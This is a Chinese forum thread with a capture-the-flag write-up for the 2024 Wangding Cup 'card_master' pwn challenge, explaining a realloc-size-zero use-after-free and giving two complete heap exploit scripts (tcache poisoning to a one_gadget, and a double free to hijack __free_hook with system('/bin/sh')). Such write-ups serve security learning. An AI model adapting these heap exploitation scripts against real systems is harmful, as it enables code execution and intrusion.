2024网鼎杯半决WP

查看 77|回复 9
作者:inkey   
card_master
网鼎半决赛的一道pwn题
浅逆一下


image-20241127145112800.png (56.2 KB, 下载次数: 0)
下载附件
2024-11-28 09:25 上传

程序模拟的是一套扑克牌,可以随机洗牌打乱。
set功能可以设置扑克牌有几个花色,每个花色有几张牌等。
case 3 是show功能,可以打印出设置的卡牌参数,
shuffle是随机打乱牌序(洗牌)。
show_card则是展示出所有手牌。
其中存储牌参数的结构体如下
00000000 struct struct_a1 // sizeof=0x28
00000000 {
00000000     _DWORD suit_size;
00000004     _DWORD card_num;
00000008     _QWORD shuffle_times;
00000010     _BYTE symble[16];
00000020     _QWORD card;
00000028 };
漏洞点
在set功能中,我们可以设置牌的花色个数和每个花色的牌数,还可以自定义花色的输出(默认是♥♠♦♣)。
  if ( *a1->symble == byte_202010 )
    v5 = malloc(4 * a1->suit_size);
  else
    v5 = realloc(*a1->symble, 4 * a1->suit_size);
  if ( v5 )
  {
    *a1->symble = v5;
    printf("new suite set:");
    return read(0, *a1->symble, 4 * a1->suit_size);
  }
但symble是默认时,程序会调用malloc分配一块内存存储我们自定义的花色。第二次修改时就是调用realloc分配内存。
下方有一处判断if ( v5 ),但成功分配内存时,就更新结构体的symble指针,并读入数据。
回到realloc,查阅下源码,如下
void *
__libc_realloc (void *oldmem, size_t bytes)
{
  mstate ar_ptr;
  INTERNAL_SIZE_T nb;         /* padded request size */
  void *newp;             /* chunk to return */
  void *(*hook) (void *, size_t, const void *) =
    atomic_forced_read (__realloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));
#if REALLOC_ZERO_BYTES_FREES
  if (bytes == 0 && oldmem != NULL)
    {
      __libc_free (oldmem); return 0; // 调用了free
    }
#endif
  /* realloc of null is supposed to be same as malloc */
  if (oldmem == 0)
    return __libc_malloc (bytes);
  /* chunk corresponding to oldmem */
  const mchunkptr oldp = mem2chunk (oldmem);
  /* its size */
  const INTERNAL_SIZE_T oldsize = chunksize (oldp);
  if (chunk_is_mmapped (oldp))
    ar_ptr = NULL;
  else
    {
      MAYBE_INIT_TCACHE ();
      ar_ptr = arena_for_chunk (oldp);
    }
  /* Little security check which won't hurt performance: the allocator
     never wrapps around at the end of the address space.  Therefore
     we can exclude some size values which might appear here by
     accident or by "design" from some intruder.  We need to bypass
     this check for dumped fake mmap chunks from the old main arena
     because the new malloc may provide additional alignment.  */
  if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0)
       || __builtin_expect (misaligned_chunk (oldp), 0))
      && !DUMPED_MAIN_ARENA_CHUNK (oldp))
      malloc_printerr ("realloc(): invalid pointer");
  checked_request2size (bytes, nb);
  if (chunk_is_mmapped (oldp))
    //本程序用不到mmapped的内存,故省略
  if (SINGLE_THREAD_P) //单线程
    {
      newp = _int_realloc (ar_ptr, oldp, oldsize, nb); //调用_int_realloc,也是函数的主逻辑所在
      assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
              ar_ptr == arena_for_chunk (mem2chunk (newp)));
      return newp;
    }
  //本程序并非多线程,故省略
}
libc_hidden_def (__libc_realloc)
看起来很复杂(),主要逻辑就是如果传入的newsize不为0,就调用_int_realloc,为0就调用__libc_free,并返回0。
_int_realloc的主要逻辑就是判断oldsize和newsize的大小关系,然后进行malloc,memcpy,free。
故,我们传入的suit_size为0的话,程序相当于free(a1->symble),且因为v5为0,并不会进入到下面的*a1->symble = v5;,会产生uaf漏洞。
构造payload
由于程序只有在symble是默认的时候才会调用malloc,所以需要malloc的时候必须先调用一次init恢复默认。
先是常规的uaf泄露地址
add(0x10, 1, 1, b'\x80')  # malloc
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
ru(b'suit chara set:')
heap_base = u64_ex(ru(b'\x0a', drop=True)) - 0x640
log_heap_base_addr(heap_base)
sla(input_after_this, b'1')
add(0x200, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)
由于在malloc一次后,使用的是realloc,所以通过修改tcache的next指针实现任意分配需要一点手法。
正常来说,uaf实现任意地址分配,首先构造A->B->A的链条,先malloc,分配到A,修改next,使链表变成B->A->C,C就是想要分配到的地址。
在本题中,如果我们使用malloc分配到A,那么后续都是realloc,比较难以继续利用。因此我们选择利用init里面的
  for ( i = 0; i
*v0 = malloc(0xD0uLL);,先伪造一个链表,让tcache里面有4个chunk,这样init后,剩下我们想要分配到的地址,这时候再set,malloc到的就是我们想分配到的那个地址了。!


image-20241128092300960.png (223.67 KB, 下载次数: 0)
下载附件
2024-11-28 09:25 上传



image-20241128092325510.png (156.17 KB, 下载次数: 0)
下载附件
2024-11-28 09:25 上传



image-20241128092332880.png (177.35 KB, 下载次数: 0)
下载附件
2024-11-28 09:25 上传

劫持show函数,写入one_gadget即可get shell
贴一个exp
#!/usr/bin/env python3
from pwncli import *
from ctypes import *
rand = cdll.LoadLibrary('./libc.so.6')
rand.srand(0xDEADBEEF)
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
    addr = ''
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./cardmaster')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./cardmaster')
cmd = '''
    directory /mnt/f/Documents/ctf/glibc/glibc-2.27/malloc
     b *$rebase(0xAD8)
    # b *$rebase(0xC1A)
    # b *$rebase(0xC5F)
    # new
    b *$rebase(0x1231)
    # malloc
    b *$rebase(0x1218)
    # realloc
    b *$rebase(0x137B)
    # read
    b *$rebase(0xD87)
    # show
    # b *$rebase(0x10B3)
    # show_card
    b *$rebase(0x1144)
    # ret
    # b *$rebase(0xF80)
    # b *$rebase(0x105D)
    # b *$rebase(0xFB7)
    # mov to stack
    b *$rebase(0xB10)
    c
'''
input_after_this = b'>>'
def add(size, range_, level, data):
    sla(input_after_this, b'2')
    sla(b'suit count:', str(size))
    sla(b'digit range 1 - ?', str(range_))
    sla(b'randomize level:', str(level))
    if size != 0:
        sa(b'new suite set:', data)
def dele(idx):
    sla(input_after_this, b'2')
    sla(b'index', str(idx))
def edit(idx, data):
    sla(input_after_this, b'3')
    sla(b'index', str(idx))
    sla(b'', data)
def show():
    sla(input_after_this, b'3')
def shuffle():
    sla(input_after_this, b'4')
def show_card():
    sla(input_after_this, b'5')
key = '♥♠♦♣'
add(0x10, 1, 1, b'\x80')  # malloc
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
ru(b'suit chara set:')
heap_base = u64_ex(ru(b'\x0a', drop=True)) - 0x640
log_heap_base_addr(heap_base)
sla(input_after_this, b'1')
add(0x200, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
show()
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)
fake_heap = heap_base + 0x1480
sla(input_after_this, b'1')
sla(input_after_this, b'1')
add(
    0x400,
    1,
    1,
    flat(
        {
            0x0: 0,
            0x80: fake_heap + 0x170,
            0x170: fake_heap + 0x250,
            0x250: heap_base + 0x104B8,
            0x330: heap_base + 0x100,
            0x410: heap_base + 0x100,
        },
        filler=b'\x00',
    ),
)  # malloc
sla(input_after_this, b'1')
add(0x34, 1, 1, b'\x00')  # malloc
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00')
add(0x34, 1, 1, p64_ex(fake_heap + 0x80))
sla(input_after_this, b'1')
launch_gdb(cmd)
add(0x34, 1, 1, p64_ex(libc_base + 0x10A38C))  # malloc
show()
ia()
你问我为什么没有决赛的wp?9分钟题就被秒了,这我打鸡毛(

分配, 花色

Loora1N   

这个题也可以常规劫持free_hook,贴个exp仅供参考
[Python] 纯文本查看 复制代码from pwn import *
libc = ELF('./libc.so')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
io = process('./cardmaster')
def p():
    gdb.attach(proc.pidof(io)[0])
def set_card(suit,digit,random, huase):
    io.sendlineafter('>>','2')
    io.sendlineafter('suit count:',str(suit))
    io.sendlineafter('digit range 1 - ?',str(digit))
    io.sendlineafter('randomize level:',str(random))
    io.recvuntil('new suite set:')
    io.send(huase)
   
def set_card_null(suit,digit,random):
    io.sendlineafter('>>','2')
    io.sendlineafter('suit count:',str(suit))
    io.sendlineafter('digit range 1 - ?',str(digit))
    io.sendlineafter('randomize level:',str(random))
def get_info():
    io.sendlineafter('>>','3')
def shuffle():
    io.sendlineafter('>>','4')
   
def init():
    io.sendlineafter('>>','1')
   
# huase = b'\xe2\x99\xA5\xE2\x99\xA0\xE2\x99\xA6\xE2\x99\xA3'
huase1 = b'\xe2\x99\xA2\xE2\x99\xA0\xE2\x99\xA6\xE2\x99\xA3'
set_card(4,13,0,huase1)
set_card(0x110,13,0,huase1)
set_card_null(0,13,0)
get_info()
io.recvuntil('suit chara set:')
libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x3ebca0
success("libcbase-->"+hex(libcbase))
free_hook = libcbase + libc.symbols['__free_hook']
success('free_hook-->'+hex(free_hook))
system = libcbase + libc.symbols['system']
init()
set_card(4,13,0,huase1)
set_card(8,13,0,huase1)
set_card_null(0,13,0)
set_card_null(0,13,0) #double free
payload = p64(free_hook)
set_card(8,13,0,payload)
payload = p32(free_hook&0xffffffff)
set_card(1,4,0,payload)
init()
payload = p64(system)
set_card(8,13,0,payload)
init()
set_card(4,1,0,'/bin/sh\x00')
set_card_null(0,1,0)
io.interactive()
天使3号   

有没有安卓逆向的题
kris065   

不明觉厉
lxxfhtd   

谢谢分享
kuikai   

不明觉厉
Xiaosesi   

感谢分享
purewin   


Loora1N 发表于 2024-11-28 15:18
这个题也可以常规劫持free_hook,贴个exp仅供参考
[mw_shl_code=python,true]from pwn import *

学到了!
xin1you1di1   

有点复杂
b7521   

牛啊老板
您需要登录后才可以回帖 登录 | 立即注册

返回顶部